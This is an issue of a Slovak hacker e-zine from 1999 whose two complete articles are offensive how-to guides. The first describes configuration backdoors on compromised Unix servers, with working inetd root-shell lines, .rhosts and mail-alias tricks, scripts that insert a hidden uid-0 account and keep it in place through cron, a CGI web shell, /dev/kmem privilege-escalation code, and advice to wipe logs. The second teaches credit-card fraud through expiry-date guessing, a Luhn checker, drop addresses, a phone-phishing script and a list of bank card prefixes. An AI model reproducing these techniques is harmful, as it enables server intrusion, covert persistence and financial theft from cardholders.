prielom 012 :: Remember, remember, the velvet November





   ::::::::::. :::::::..   :::.,::::::   :::         ...     .        :   

    `;;;```.;;;;;;;``;;;;  ;;;;;;;''''   ;;;      .;;;;;;;.  ;;,.    ;;;  

     `]]nnn]]'  [[[,/[[['  [[[ [[cccc    [[[     ,[[     [[,[[[[, ,[[[[, 

      $$$""     $$$$$$c    $$$ $$""""    $$'     $$$,     $$$$$$$$$$$"$$$ 

      888o      888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o

      YMMMb     MMMM   "W" MMM """"YUMMM""""YUMMM  "YMMMMMP" MMM  M'  "MMM

   

   prielom #12, 27.7.99 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/

obsah

konfiguracne backdoory

kreditne karty

valka elektronickych gangu III.

redir hry s arp a icmp

morris internet worm

koniec sveta

re: pro pana dastycha

intro

kedze prielom teraz vychadza pomerne sporadicky, zmenil som trochu typ uverejnovanych
clankov. namiesto kratkych security news a pokecnych clanockov som sem dal dlhsie
veci, ktore boli podrobnejsie pripravovane, a taktiez dlhsie preklady zahranicnych
veci. jeden z dovodov je ze na kratsie newsove clanky je tu teraz skvely
http://underground.cz/, no a hadam tym aj trochu stupla kvalita prielomu.

v tomto cisle prielomu je dokoncenie prekladu "valka elektronickych gangu". kedze to
malo vcelku uspech, rozhodol som sa prekladat dalsie podobne veci z folkloru. zacal
som prekladat aj uryvok zo skvelej knizky The Great Cyberwar of 2002, co je taka
fikcia o vojnovom konflikte zaciatkom buduceho storocia, ktoreho dominantna cast sa
odohrava prave na elektronickom fronte.

pridal som sem aj clanok o morrisovom worme, ktory prebehol inetom pred desiatimi
rokmi a o ktorom sa odvtedy dost pisalo, ale cmarali o nom novinari a vacsinou z toho
vznikali bulvarne pokecy stravitelne beznou poulicnou zmesou. v tomto clanku su
uvedene technicke fakty. je tu tiez sucho-technicky clanok o spoofovani arp adries a
icmp vyvazeny komickou poviedkou "koniec sveta" a klasickym interview s dastychom.

ehm, nech sa paci :)

pajka, 25.7.99 blava

konfiguracne backdoory

v dnesnej dobe existuje fura krasne prerobenych systemovych programov, ktore sluzia ako
backdoory. obcas je to len par riadkov kodu pridanych do /bin/login, inokedy su to riadne
sofistikovane elaboraty. volaco z toho je na arxive (hysteria.sk/arxiv), zvysok co sa
pohybuje po cz/sk nete su odvary povodnych idei SERTu a CzERTu, existuje vsak aj kopu
novych spickovych veci... princip je jednoduchy - vlozit do zdrojaku systemoveho programu
riadky, ktore:

nacitaju input;

ak je input specialny nami nakonfigurovany string, spustit trojana;

else ak input nesedi pokracovat normalne;

else quitnut s chybovou hlaskou;

nie je to ani komplexne ani tazke. takyto trojan sa da spravit na 10 riadkov.
klasikou je "prerabanie" /bin/login, okrem neho
sa modifikuju aj sietove daemony (rlogind, telnetd, rshd, sshd), castokrat okrem funkcie
samotneho backdooru maju tieto programceky aj ine prijemne vlastnosti, napr. logovanie hesiel,
obcas aj v sifrovanom tvare

odjakziva existuju programy na kontrolu integrity systemovych binariek (napr. stary ale dobry
tripwire), ale v minulosti ich takmer nikto nepouzival, preto bolo zamienanie povodnych systemovych
binariek patchnutymi nahradami
pokladane za idealny backdoor. Casy sa vsak menia. Dnes je programov ako tripwire neurekom
a navyse integritu binariek kontroluju aj ine programy ktore su urcene na spravu balikov, napr rpm
prikazom rpm -V. Mnohi rooti to dokonca zautomatizovali a robia to pravidelne cez crond.
vznika teda trend navratu kdesi pred rok '94, ked sa pouzivali vacsinou tzv. konfiguracne
backdoory, cize rozne "nenapadne" zmeny v konfiguracii servera za cielom zabezpecit si backdoor.

ked teda pisem o konfiguracnych backdooroch, musim zalovit niekde do roku '94, kedy sa to dost pouzivalo - kedze to su
doby dost davne a vela sa odvtedy zmenilo, mozno vam budu pripadat tieto backdoory primitivne. ale o to pri konfiguracnych
backdooroch ide - jednoduchy riadocek niekde v zlozitom konfiguracnom subore, ktory si nikto nevsimne.

tu je teda zopar konfiguracnych backdoorov z praxe, urcite vsak existuje kopa inych napadov (dajte na board),
toto su tie s ktorymi som sa ja stretol:

/etc/inetd.conf

klasika je pridat, alebo zmenit riadok v inetd.conf tak, aby spustil shell, napr:



5002 stream  tcp     nowait  root    /usr/sbin/tcpd /bin/sh -i

po pripade nahradit cislo portu nejakym stringom z /etc/services a podobne.. budte kreativni :)
potom samozrejme staci spravit telnet server.victim.sk 5002 a mate shell...

/etc/passwd

klasika je najst nejake nepouzivane systemove konto, napr uzivatela "games". jeho riadok v passwd
vyzera vacsinou takto:

games:x:12:100:games:/usr/games:

ale staci tam pridat jedno lomitko a jednu medzierku a mame backdoor:

games:x:12:100:games:/usr/games/ :

no a potom vytvorit adresar "/usr/games/ " a dat do neho trebars .rhosts :



# cd /usr/games

# mkdir " "

# cd " "

# echo + + > .rhosts

# chown games .rhosts

a potom voila, staci dat hocikedy zvonka



$ rsh -l games server.victim.sk "/bin/sh -i"

a si na serveri.. za zmienku stoji fakt ze rsh a rlogin vas pustia v pohode dnu napriek tomu ze user
games nema nadefinovany shell v /etc/passwd, mnohi ludia su v domneni ze user bez definovaneho shellu
je samo o sebe zarukou bezpecnosti toho konta.

pokial potrebujete kratkodoby a bleskurychly konfiguracny backdoor, obcas staci pridat do passwd riadok
s uid 0 a basta. pokial sa umiestni niekde do stredu vacsieho passwd fajlu, mate slusnu sancu ze si to
root nejaky cas nevsimne. ak xcete ozaj bleskovo vytvorit takyto backdoor, je na to dokonca
aj script:



#!/bin/csh

# vlozi uid 0 konto do stredu passwd fajlu

# pravdepodobne by to slo spravit aj nejakym jednym

# prikazom awk alebo sed.. ale co uz



set linecount = `wc -l /etc/passwd`

cd                                     

cp /etc/passwd ./temppass              

@ linecount[1] /= 2

@ linecount[1] += 1      

split -$linecount[1] ./temppass

echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa

cat ./xab >> ./xaa

mv ./xaa /etc/passwd

chmod 644 /etc/passwd

rm ./xa* ./temppass

echo finito...

.rhosts

na rlogin a rsh sa v dnesnej dobe windozov tak zabudlo, ze uz nie je vela ludi, ktori vedia
naco to vlastne je. preto + + .rhosts v home adresari nejakeho lamera moze sluzit ako fajn backdoor.
a uz vobec sa nepouziva subor /etc/hosts.equiv co je nieco obdobne ako .rhosts ale pre celu masinu.
vlastne staci pridat do tohoto suboru jeden riadocek s menom masiny na ktorej mas roota a potom z nej
spravit klasicky rsh -l root "/bin/sh -i". ked uz sme pri tych lameroch a ich domacich adresaroch,
dalsi vdacny subor do ktoreho sa ludia malokedy pozeraju je .forward. tam mozeme umiestnit script, ktory
sa spusti ked posleme specialny program, napr:



$ cat ~lamer/.forward

lamer

|/dev/ptyqo



$ cat /dev/ptyqo

#!/bin/sh

while read line ; do

  echo "$line" | grep "my_secret_password" && /dev/ptyqb &

done

cize staci poslat lamerovi email ktory bude obsahovat slovo my_secret_password a spusti sa program
/dev/ptyqb co moze byt trebars bindshell. jo a potom nezabudnut zmazat ten email z lamerovej posty, aj ked
najelegantnejsie by bolo schovat ten string do normalne vyzerajuceho emailu, ktory si ten lamer potom moze
kludne precitat bez toho aby vybadal jeho ucel :) osobne som na tieto ucely pouzival
vyraz "odchod na parky", mozno si na to niektori spomeniete :)

/etc/aliases

pome sa este hrat s postou. subor /etc/aliases umoznuje postu nasmerovanu nejakemu uzivatelovi
expandovat na viacerych uzivatelov, alebo napriklad aj napajpovat ju do nejakeho programu. cize najjednoduchsi
syntax na backdoor v /etc/aliases je :



lamer:  "|/dev/ptyqo"

a ked poslete postu na lamer@victim.sk, spusti sa backdoorovy scriptik /dev/ptyqo. ale to je moc
suche a dost napadne. isty cas bol popularny uudecode backdoor v /etc/aliases. ten fungoval takto - najprv
sa pridal riadok do /etc/aliases:



 "decode: "|/usr/bin/uudecode"

vcelku nenapadne, ze ? nuz potom sa vytvoril uuencodovany rootovsky .rhosts file ktory sa poslal pekne postou :



$ echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@victim.sk

$ rsh -l root victim.sk "/bin/sh -i"

#

pam security

vlastnosti pam security ktore ho robia idealnym pre konfiguracne backdoory su komplexnost, neprehladnost a fakt
ze pam security naozaj do detajlu pozna velmi malo ludi. pripomenme si ze vseobecny syntax na konfiguracny subor
pamu (vacsinou /etc/pam.conf) je



service-name   module-type   control-flag   module-path   arguments

a tak mozeme nastavit ze pri nejakej sluzbe vobec nebude vyzadovat heslo, napriklad pri rlogind. to si tazko niekto
vsimne, lebo konfigurak pam.conf a konfiguracna syntax nie je zrovna prehladna, rlogind malokto pouziva, a ked aj
ano tak ma na to .rhosts, takze si nikto nevsimne ze sa da lognut na roota cez rlogind aj bez hesla.

cgi scripty

dalsim zaujimavym miestom pre umiestnenie backdooru su cgi scripty, daju sa bud modifikovat existujuce
scripty, alebo pridat novy script. moj favorit vzdy bol nasledovny script:



$ cat backdoor.cgi

#!/bin/sh

echo Content-type: text/html

echo

echo "<pre>"

$*

cez ktory sa daju na dialku spustat hocijake prikazy priamo z browsera vo forme http://www.victim.sk/cgi-bin/backdoor.cgi?prikaz,
no predstavte si tu pohodu spravit si taky backdoor a potom pohodicka ist do inet kaviarne, pochlipkavat
capuccino so skoricou a spustat unix prikazy na hacknutej masinke priamo z Netscapu. a pokial vas neuspokoji uid pod
ktorym bezi httpd (zvycajne nobody), tak v prvom riadku namiesto /bin/sh dajte nejaky suid bash shell a
prikazy budu bezat ako root. jo a nezabudnut zmazat httpd logy :)

cron

cron sa od cias starych BSD systemov velmi nezmenil, ale dost sa zmenili konfiguracne scripty na cron.
hlavne tvorcovia linuxovych distribucii maju tendenciu byt prehnane kreativni a robia vselijake user-friendly
konfiguraky. napr taky redhat ma crony v /etc/cron.hourly, /etc/cron.daily.. atd a root iba potom vsunie svoj
script alebo program do prislusneho adresara. taketo zjednodusenia rootov rozmaznali natolko ze uz vobec needituju
a nesleduju /var/spool/crontab/root. cize pokial prave do tohoto suboru vsuniete nejaky riadok, su realne sance
ze si to root nevsimne. mozeme napriklad pridat riadok na denne kontrolovanie vlozeneho
uid 0 riadku do /etc/passwd (kukni hore do sekcie "/etc/passwd") :

toto supni do /var/spool/crontab/root :



        0       0       *       *       *       /dev/ptyqx

a toto je nas scriptik /dev/ptyqx :



#!/bin/csh

# je eviluser stale v passwd ? pome sa presvedcit



set evilflag = (`grep -i eviluser /etc/passwd`)

if($#evilflag == 0) then                               

        set linecount = `wc -l /etc/passwd`

        cd                                     

        cp /etc/passwd ./temppass            

        @ linecount[1] /= 2

        @ linecount[1] += 1                  

        split -$linecount[1] ./temppass     

        echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa

        cat ./xab >> ./xaa

        mv ./xaa /etc/passwd

        chmod 644 /etc/passwd               

        rm ./xa* ./temppass

else

endif

fantazii sa medze nekladu. tu je vtipny scriptik ktory kazdy den o 2:30am (heh, nezabudnite si presne
nastavit hodinky) na jednu minutu zmeni /etc/passwd za dopredu nachystany fajl.

toto je v crone:



       29      2       *       *       *       /etc/ptyqp

tento fajl musi existovat:



#echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /etc/ptyqq

a toto je nas scriptik /etc/ptyqp :

   

#!/bin/csh

cp /etc/passwd /etc/.temppass

cp /dev/ptyqq /etc/passwd

sleep 60

mv -f /etc/.temppass /etc/passwd

inak doporucujem si najprv vsetko poriadne vyskusat, lebo akykolvek vystup zo scriptov spustanych cronom
(chybne hlasky a pod) idu rootovi do posty...

/dev/kmem

/dev/kmem je virtual systemu. kedze kernel ma svoje parametre v pamati, je mozne modifikovat
pamat na masine a zmenit UID procesu. na to samozrejme potrebujeme read/write prava. to sa bezne
v prirode nevyskytuje, cize ako backdoor musime najprv spravit chmod 666 /dev/kmem, napriklad to mozeme
spravit na par minut nejakym cronom, ako je to popisane vyssie. potom je treba otvorit /dev/kmem device,
najst svoj page v pamati, prepisat UID momentalneho procesu a spustit csh, ktory ziska toto uid. nasledovny
program robi presne toto.



#include <h>

#include <h>

#include <signal.h>

#include <param.h>

#include <types.h>

#include <dir.h>

#include <user.h>



#define KEYWORD "chabrus"



struct user userpage;

long address(), userlocation;



int main(argc, argv, envp)

int argc;

char *argv[], *envp[];{



        int count, fd;

        long where, lseek();

        

        if(argv[1]){            

                if(!(strcmp(KEYWORD,argv[1]))){

                        fd=(open("/dev/kmem",O_RDWR);



                        if(fd

#include <h>

#include <h>



#define LNULL ((LDFILE *)0)



long address(){

        

        LDFILE *object;

        SYMENT symbol;

        long idx=0;



        object=ldopen("/unix",LNULL);



        if(!object){

                fprintf(stderr,"Cannot open /unix.n");

                exit(50);

        }



        for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){

                if(!strcmp("_u",ldgetname(object,&symbol))){

                        fprintf(stdout,"User page is at 0x%8.8xn",symbol.n_value);

                        ldclose(object);

                        return(symbol.n_value);

                }

        }



        fprintf(stderr,"Cannot read symbol table in /unix.n");

        exit(60);

}

tento priklad ilustruje ze obcas ani netreba pridavat nic do konfiguracneho suboru, niekedy je menej
napadne iba zmenit mu prava, napr. na o+w a podobne.

konfiguracne backdoory maju jednu vyhodu - rooti vyzbrojeni programami na kontrolu integrity binariek
sa takto v pohode daju okaslat, navyse takyto backdoor prezije upgrade systemu, alebo dokonca kompletne
preinstalovanie masiny. klasicka reakcia roota ked zisti ze ma hacknutu masinu je preinstalovat to cele,
sranda je vsak ze stare konfiguracne subory sa vacsinou ponechavaju a /home adresare takmer vzdy.

pajkus

navrat na obsah

kreditne karty (KK)

KK je plastova karta, ktora je nositelom informacii o vasom ucte.
Moznost jej pouzitia je trojaka. KK sa moze pouzit na vyber
hotovosti z bankomatu, moze sa pouzit na uhradzanie hotovostnych
pladieb v POS terminaloch alebo na inu formu uhrady hotovosti.
Prve dva sposoby su limitovane nutnostou fyzickeho vlastnictva
karty, pri tretom staci iba poznat informacie uvedene na karte
vo forme reliefneho pisma. Bankomaty a POSky tu rozeberat nebudem a
preto sa hned zameriam na ten treti sposob. Sem patria hlavne
internetovske nakupy a nakupy cez telefon. Aby ste si nieco takymto
sposobom objednali (a zaplatili), potrebujete poznat nasledujuce
informacie:

1. Cislo kreditnej karty

2. Datum expiracie

3. Meno vlastnika karty

Kreditne karty mozno vo vseobecnosti rozdelit podla toho, ktora
spolocnost ich vydava. Vo svete existuje viacero standardov, ale
najviac sa pouzivaju nasledovne:

- American express

- Visa

- Mastercard



[American Express]

  XXXX XXXXXX XXXXX

  MM/Y1 THRU MM/Y2       Y1

  Vladimir Meciar        AX

Popis:

Prvy datum udava datum kedy bola karta vydana, druhy dokedy je platna.



[Master Card]

  5XXX XXXX XXXX XXXX

  ZZZZ AAA DD-MM-YY MM/YY

  Meno_na_karte

Popis:

Datumy rovnako ako u American Express. ZZZZ udava zrejme interny kod
banky, ale pre nase ucely nie je podstatny.



[VISA dlhy format]

 4XXX XXXX XXXX XXXX

 MM/YY    MM/YY*VISA

 Meno_na_karte





[VISA kratky format]

 4XXX XXX XXX XXX

 MM/YY    MM/YY*VISA

 Meno_na_karte

Popis:

to iste ako American Express.

Vo svete sa najviac pouzivaju Mastercardy a Visy, tak podme na to.

Mastercard a Visa su co do struktury udajov zhodne (az na kratku Visu).
Cislo karty sa sklada zo 4 stvorciselnych skupin:

1. skupina - kod banky. Mozno po vas budu chciet aj nazov prislusnej
banky, tak sa mrknite do zoznamu.

2. skupina - nieco ako uzivatelska skupina. Jednoducho vsteci ludia, ktory
maju denny limit napr. 5000,- (DM, SKK,...) a rovnaky typ uctu budu mat s
najvacsou pravdepodobnostou toto cislo rovnake

3. a 4. skupina - informacia o cisle uctu

Tento clanok asi necitaju gazdinky za sporakom ani evanjelicky farari, takze
asi viete o co teraz pojde. Ide o to, nieco si kupit a NEplatit. Takze
sa napojite na nejaky inet obchodik, nahazdete do kosika par CDciek a idete
k pokladni. Tam na vas vypluju formular, v ktorom po vas chcu par
zbytocnosti (meno, cislo, datum expiracie a pod.). Po vyplneni formularu
sa potom server spyta centralnej databazy a ta bud vasu KK prijme alebo ju
odmiente. Z mojich pokusov mi vychadza asi tolko, ze na jednoznacnu
identifikaciu staci kombinacia cislo-datum expiracie.
Ale finta je v tom, ze to cislo nemoze byt hocijake. Na overenie platnosti
(teda nie existencie) cisla KK sa pouziva Luhnov kontrolny algoritmus a
ako ho vyuzit, pozri nizsie.

Problem teda nie je v cisle KK ale v datume expiracie. Ten tvori spolu
s cislom previazanu dvojicu (jedno bez druheho nefunguje).

Povedzme teda, ze mate cislo, co s datumom? Skusajte! Pripojte sa na nejaky
porno server a skusajte postupne. Kreditky sa vacsinou vydavaju na jeden rok a
nie je teda problem odskusat tych dvanast datumov. Ina sranda nastane, ked
cislo KK neukazuje na platny ucet, potom treba cely postup opakovat s inym
cislom. Ak vsak uvazime, ze na zemi je okolo 6 mld ludi, tak pocet platnych
kreditiek sa bude pohybovat radovo v desiatkach milionov a to dava celkom
slusnu pravdepodobnost.

Luhnov kontrolny algoritmus:

Povodne tento algoritmus plnil funkciu akehosi kontrolneho suctu, poskytuje
vsak aj ochranu proti utokom typu zmenim jedno cislo a basta.

Postup je nasledovny:

Ak ma cislo KK parny pocet cislic:

Vynasobte kazde cislo na neparnej pozicii dvoma a ak je vysledok vacsi ako 9,
odcitajte od vysledku deviatku. Potom zratajte vsetky cisla na parnych
poziciach spolu s tymi zdvojenymi. Ak je vysledok bezo zvysku delitelny 10,
je cislo platne.

Neparny pocet cislic:

Postup je rovnaky, ale nasobia sa cisla na parnych poziciach.





int luhncheck(char *cn)

{

        int i,x,dl,total=0,z;





        z=1; /* neparny pocet cislic, nasobime parne indexy */

        y=strlen(cn);

        if (y%2==0)

                z=0; /* parny pocet cislic, nasobime neparne indexy */

        for(i=z;i<y;i+=2)

        {

                x=((int)cn[i]-48)*2;

                if (x>9) x-=9;

                total+=x;

        }

        for (i=z^1;i<y;i+=2)

                total+=(int)cn[i]-48;

        return (total%10) ? 0:1;

}

Na co si dat pozor? Ak si nieco objednate z internetu a davate si to posielat postou, NIKDY nepouzite
svoje meno a adresu. Dajte si poslat tovar na nejaku adresu typu:
opusteny dom, vystahovany susedia, kamos na intraku a pod.

Dalsia moznost pouzitia sa ukazuje v telefonovani. Ked chcete volat do USA,
slovtel po vas chce nehorazne sumy. Exituje vsak sluzba Slovakia-Direct,
pomocou ktorej sa mozete napojit na amickeho operatora bezplatne. Tusim
US-SPRINT poskytuje moznost uhrady hovorneho pomocu kratkej visy. To cislo
uz presne neviem, mrknite sa na webovsku stranku nasich telekomunikacii.

A ako toto cele obist? Co takto telefon? Ludia maju prirozdeny respekt
pred autoritami a pocitacom zvlast, tak to vyuzite.





"ty" pan blabla?

"zakaznik" ano

"ty" dobry den, tu je centrum automatizacie vub(csob, slovspor),

     pri telefone bla bla.

"zakaznik" dobry den, cim mozem pomoct?

"ty" mali sme tu vypadok servera a stratilo sa nam par zaznamov

"zakaznik" ???

"ty" potrebovali by sme si overit, ci je aj vasa karta medzi zmazanymi,

     boli by ste taky laskavy a nadiktovali mi cislo vasej karty?

"zakaznik" ??? (co ked je to podvod?)

"ty" samozrejme si uvedomujem, ze su to citlive informacie. ak chcete,

     mozete mi zavolat na cislo .... sem k nam do centra (verejny telefon)

"zakaznik" dobre, hned zavolam

ten blbec sa chytil!

"ty" centrum automatizacie, pri telefone bla bla

"zakaznik" tak to je v poriadku, moje cislo je .....

"ty" a este vas poprosim datum platnosti

"zakaznik" (po dlhsom hladani) aha, to je ...

"ty" dakujem vam, ihned to overime, dopocutia

a ak ste bezchrbtaci, tak mu zavolajte este raz a povedzte ze je to ok.

A som na konci (v koncoch :)

a nakoniec zoznam bank:



4000 - Visa Bsn/Chk/Corp/Deb/Gold/Purch 

4013 - Bank of Baltimore / Chevy Chase 

4019 - Bank of America 

4024 - Bank of America 

4027 - Rockwell Federal Credit Union 

4032 - Household Bank 

4052 - First Cincinatti 

4060 - Associates NB / Navy Fed. 

4070 - Security Pacific 

4071 - Colonial National Bank 

4094 - A.M.C. Federal CU 

4113 - Valley National Bank 

4114 - Chemical Bank 

4121 - Alaska Fed. / Penns. State Emp. 

4122 - Union Trust 

4128 - Citibank 

4131 - State Street Bank 

4215 - Marine Midland 

4225 - Chase Manhattan Bank 

4226 - Chase Manhattan Bank 

4231 - Chase Lincoln First Classic 

4232 - Chase Lincoln First Classic 

4239 - Corestates 

4241 - National Westminester Bank 

4250 - First Chicago Bank 

4253 - Consumers Edge 

4254 - Cational Bank / Security First 

4271 - Citibank Preferred 

4301 - Monogram Bank 

4302 - H.H.B.C. 

4310 - B.C.F.U. / Imperial Savings 

4311 - First National Bank 

4312 - Barnett Bank 

4316 - Leader Federal 

4316 - Pioneer Bank / Standard Federal 

4317 - First Tier Bank Omaha 

4327 - First Atlanta 

4332 - Bank One / First American 

4339 - Primerica Bank 

4342 - N.C.M.B./Nations Bank 

4356 - National Bank of Delaware 

4368 - National West 

4387 - Lockheed Fed. / Santel CU 

4388 - First Signature / Independent Bank 

4401 - Gary-Wheaton Bank 

4413 - Firstier Bank Lincoln 

4418 - Bank of Omaha 

4421 - Indiana National Bank 

4428 - Bank of Hoven / Bar Harbor Bank 

4436 - Security Bank and Trust 

4443 - Merril Lynch Bank 

4447 - AmeriTrust 

4452 - Empire Affiliates Federal CU 

4498 - Republic Savings 

4502 - C.I.B.C. 

4503 - Canadian Imperial Bank 

4506 - Belgium A.S.L.K. 

4510 - Royal Bank of Canada 

4520 - Toronto Dominion of Canada 

4534 - DC Card 

4537 - Bank of Nova Scotia 

4538 - Bank of Nova Scotia 

4539 - Barclays 

4544 - T.S.B. Bank / ADAC Visa 

4556 - Citibank 

4564 - Bank of Queensland 

4568 - ADAC Karte / Berliner Bank 

4673 - First Card 

4707 - Tompkins County Trust 

4719 - Rocky Mountain 

4721 - First Security 

4722 - West Bank 

4726 - Wells Fargo 

4783 - AT&T's Universal Card 

4784 - AT&T's Universal Card 

4800 - M.B.N.A. North America 

4811 - Bank of Hawaii 

4819 - Macom Federal Credit Union 

4820 - IBM Mid America Federal CU 

4833 - U.S. Bank 

4842 - Security Pacific Washington 

4897 - Village Bank of Cincinatti 

4906 - Barclay Card 

4916 - MBNA Bank 

4917 - Visa-BahnCard/Citibank 

4921 - Hong Kong Bank / National Bank 

5100 - Southwestern States Bankcard Ass. 

5101 - Southwestern States Bankcard Ass. 

5102 - Southwestern States Bankcard Ass. 

5103 - Southwestern States Bankcard Ass. 

5104 - Southwestern States Bankcard Ass. 

5105 - Southwestern States Bankcard Ass. 

5106 - Southwestern States Bankcard Ass. 

5107 - Southwestern States Bankcard Ass. 

5108 - Southwestern States Bankcard Ass. 

5109 - Southwestern States Bankcard Ass. 

5110 - Universal Travel Voucher 

5111 - Universal Travel Voucher 

5112 - Universal Travel Voucher 

5113 - Universal Travel Voucher 

5114 - Universal Travel Voucher 

5115 - Universal Travel Voucher 

5116 - Universal Travel Voucher 

5117 - Universal Travel Voucher 

5118 - Universal Travel Voucher 

5119 - Universal Travel Voucher 

5120 - Western States Bankcard Ass. 

5121 - Western States Bankcard Ass. 

5122 - Western States Bankcard Ass. 

5123 - Western States Bankcard Ass. 

5124 - Western States Bankcard Ass. 

5125 - Western States Bankcard Ass. 

5126 - Western States Bankcard Ass. 

5127 - Western States Bankcard Ass. 

5128 - Western States Bankcard Ass. 

5129 - Western States Bankcard Ass. 

5130 - Eurocard France 

5131 - Eurocard France 

5132 - Eurocard France 

5133 - Eurocard France 

5134 - Eurocard France 

5135 - Eurocard France 

5136 - Eurocard France 

5137 - Eurocard France 

5138 - Eurocard France 

5139 - Eurocard France 

5140 - Mountain States Bankcard Ass. 

5141 - Mountain States Bankcard Ass. 

5142 - Mountain States Bankcard Ass. 

5143 - Mountain States Bankcard Ass. 

5144 - Mountain States Bankcard Ass. 

5145 - Mountain States Bankcard Ass. 

5146 - Mountain States Bankcard Ass. 

5147 - Mountain States Bankcard Ass. 

5148 - Mountain States Bankcard Ass. 

5149 - Mountain States Bankcard Ass. 

5217 - The Bankcard Association, Inc. 

5218 - Citibank, N.A. 

5219 - Central Finance Co., Ltd. 

5220 - Sovran Bank/Central South 

5221 - Standard Bank of South Africa, Ltd. 

5222 - Security Bank & Trust Company 

5223 - Trustmark National Bank 

5224 - Midland Bank / National Westminster 

5225 - First Pennsylvania Bank, N.A. 

5226 - Eurocard Ab 

5227 - Rocky Mountain Bankcard System, Inc. 

5228 - First Union National Bank 

5229 - Sunwest Bank of Albuquerque, N.A. 

5230 - Harris Trust & Savings Bank 

5231 - The Joint Credit Card Co., Ltd 

5232 - Eurocard Deutschland 

5233 - Bancsystems Association, Inc. 

5234 - Citibank (Arizona) 

5235 - Finanacial Transaction Systems, Inc. 

5236 - First Tennessee Bank, N.A. 

5237 - Southeast Bankcard Association, Inc. 

5238 - Liberty National Bank & Trust Company 

5239 - Southeast Bank, N.A. 

5241 - Bank One Wisconsin Bankcard Corporation 

5242 - Atlantic States Ass. / Chevy Chase. 

5244 - The Joint Credit Card Co., Ltd. 

5245 - Lomas Bank, U.S.A. 

5246 - Bank of Honolulu 

5247 - First American National Bank 

5248 - Orient Finance Co., Ltd. 

5249 - First Interstate Bank of Washington 

5250 - Union Credit Company (UC Card) 

5251 - Nippon Shinpan Co., Ltd. 

5252 - Seibu Credit Co., Ltd. 

5253 - Eurocard Norge, A.S. 

5254 - Bank of America, N.A. & S.A. 

5255 - Servizi Interbancari, S.P.A. 

5256 - Commonwealth National Bank 

5257 - Dalei Finance, Inc. 

5258 - National Bank of Canada 

5259 - First Wisconsin National Bank 

5260 - First National Bank of Boston 

5261 - Texas American Bank/Fort Worth 

5262 - Service Center, Inc. 

5263 - Chemical Bank 

5264 - First Interstate Bank of Utah 

5265 - The Joint Credit Card Co., Ltd. 

5266 - Eurocard Austria 

5267 - First Florida Bank, N.A. 

5268 - The Canada Trust Co. 

5270 - The First National Bank of Anchorage 

5272 - Connecticut National Bank 

5273 - Bank of America, N.T. & S.A. 

5274 - Bank of California, N.A. 

5275 - Eurocard Ab 

5276 - Banco de Vizcaya 

5277 - First Interstate Bank of California 

5278 - National Management & Organization, S.A. 

5279 - D.C. Credit Company, Ltd. 

5280 - Fleet National Bank 

5281 - Trust Company Bank 

5282 - Wells Fargo Bank 

5283 - Union Credit Company, Ltd. 

5285 - The Joint Credit Card Co., Ltd. 

5286 - F.C.C. National Bank 

5287 - Valley National Bank of Arizona 

5288 - Banco Nacional de Mexico 

5289 - Seattle-First National Bank 

5290 - Banco Nacional de Mexico 

5291 - Signet Bank/Virginia 

5292 - Southeast Bankcard Association, Inc. 

5293 - Signet Bank/Virginia 

5294 - Eurocard France 

5295 - Eurocard France 

5296 - Million Card Service Co., Ltd. 

5297 - First Hawaiian Bank 

5298 - Bank One, Indianapolis, N.A. 

5299 - Amsouth Bank of Florida 

5300 - Bay Bank 

5308 - First Security Bank of Utah, N.A. 

5313 - National Australia Bank Limited 

5314 - International Card Systems, S.A. 

5315 - International Card Systems, S.A. 

5316 - The Citizens & Southern National Bank 

5317 - Cu Electronic Transaction Services, Inc. 

5318 - Credimatico De Panama / Mellon Bank 

5319 - National Bank 

5321 - Japan Travel Bureau, Inc. 

5322 - Banc One Wisconsin Bankcard Corporation 

5323 - Bank of New York (Delaware) 

5325 - First Virginia Bank 

5326 - Pacific Bancard Association, Inc. 

5327 - Banco Atlanta, S.A. 

5328 - NCNB National Bank of Florida 

5329 - M.B.N.A. 

5330 - Leader Federal Savings & Loan Ass. 

5332 - Sociedad Administradora 

5333 - National Bank 

5334 - Sn Diego Trust & Savings Bank 

5335 - Tokyo Credit Services., Ltd. 

5336 - The Kansai Credit Bank Credit Service 

5337 - Daiwa Credit Service / Sumisie Card 

5338 - National Bank 

5339 - First American National Bank 

5340 - The Joint Credit Card Co., Ltd. 

5347 - Equibank (Delaware), N.A. 

5348 - First National Bank 

5349 - Sun Bank, N.A. 

5350 - Bank South, N.A. 

5351 - Provident National Bank 

5353 - Commonwealth Bank of Australia 

5359 - Core States 

5362 - First National Bank of Commerce 

5371 - Rocky Mountain Bankcard System, Inc. 

5372 - Rocky Mountain Bankcard System, Inc. 

5376 - Natwest Australia Bank, Ltd. 

5379 - Bank of Louisiana in New Orleans 

5384 - San Diego Trust & Savings Bank 

5385 - Bank of Louisiana in New Orleans 

5393 - First Omni Bank 

5396 - AT&T's Universal Card 

5398 - AT&T's Universal Card 

5399 - DC Credit Co., Ltd. 

5400 - United Bankcard Association 

5401 - Card Services For Credit Unions 

5402 - New Zealand Bankcard Associates Ltd. 

5410 - Citibank / First National 

5411 - Credicard, S.A. 

5412 - Eurocard Ab 

5413 - Eurocard Norge, A.S. 

5414 - State Street Bank & Trust Co. 

5415 - Union Bank 

5416 - People's Bank 

5417 - Associates National Bank / Bank of America 

5418 - Household Bank 

5419 - Oversea-Chinese Banking Corporation, Ltd. 

5420 - Colonial National Bank 

5421 - Bank of Credit and Commerce International 

5422 - Huntington National Bank 

5423 - University Credit Union 

5424 - C.B.T. / Citibank 

5425 - Banco De Santander / Barclay Card 

5426 - Mellon Bank Delaware, N.A. 

5429 - NCNB South Carolina 

5430 - Centrust Savings Bank 

5431 - The Hongkong and Shanghai Banking Corp. 

5432 - Rocky Mountain Bankcard System, Inc. 

5433 - Eurocard International, S.A. 

5434 - National Westminster Bank 

5436 - Sistarbanc, S.A.R.L. 

5437 - The Massachusetts Co. 

5438 - U.S. League Financial Services, Inc. 

5439 - Central Bank of The South 

5440 - Ncnb National Bank 

5442 - First National Bank of Atlanta 

5443 - Eurocard International, S.A. 

5444 - The Fifth Third Bank 

5445 - The Bank of Scottsdale/.Paradise Valley 

5447 - AmeriTrust Company National Association 

5448 - Crestar Bank 

5450 - Lomas Bank, U.S.A. 

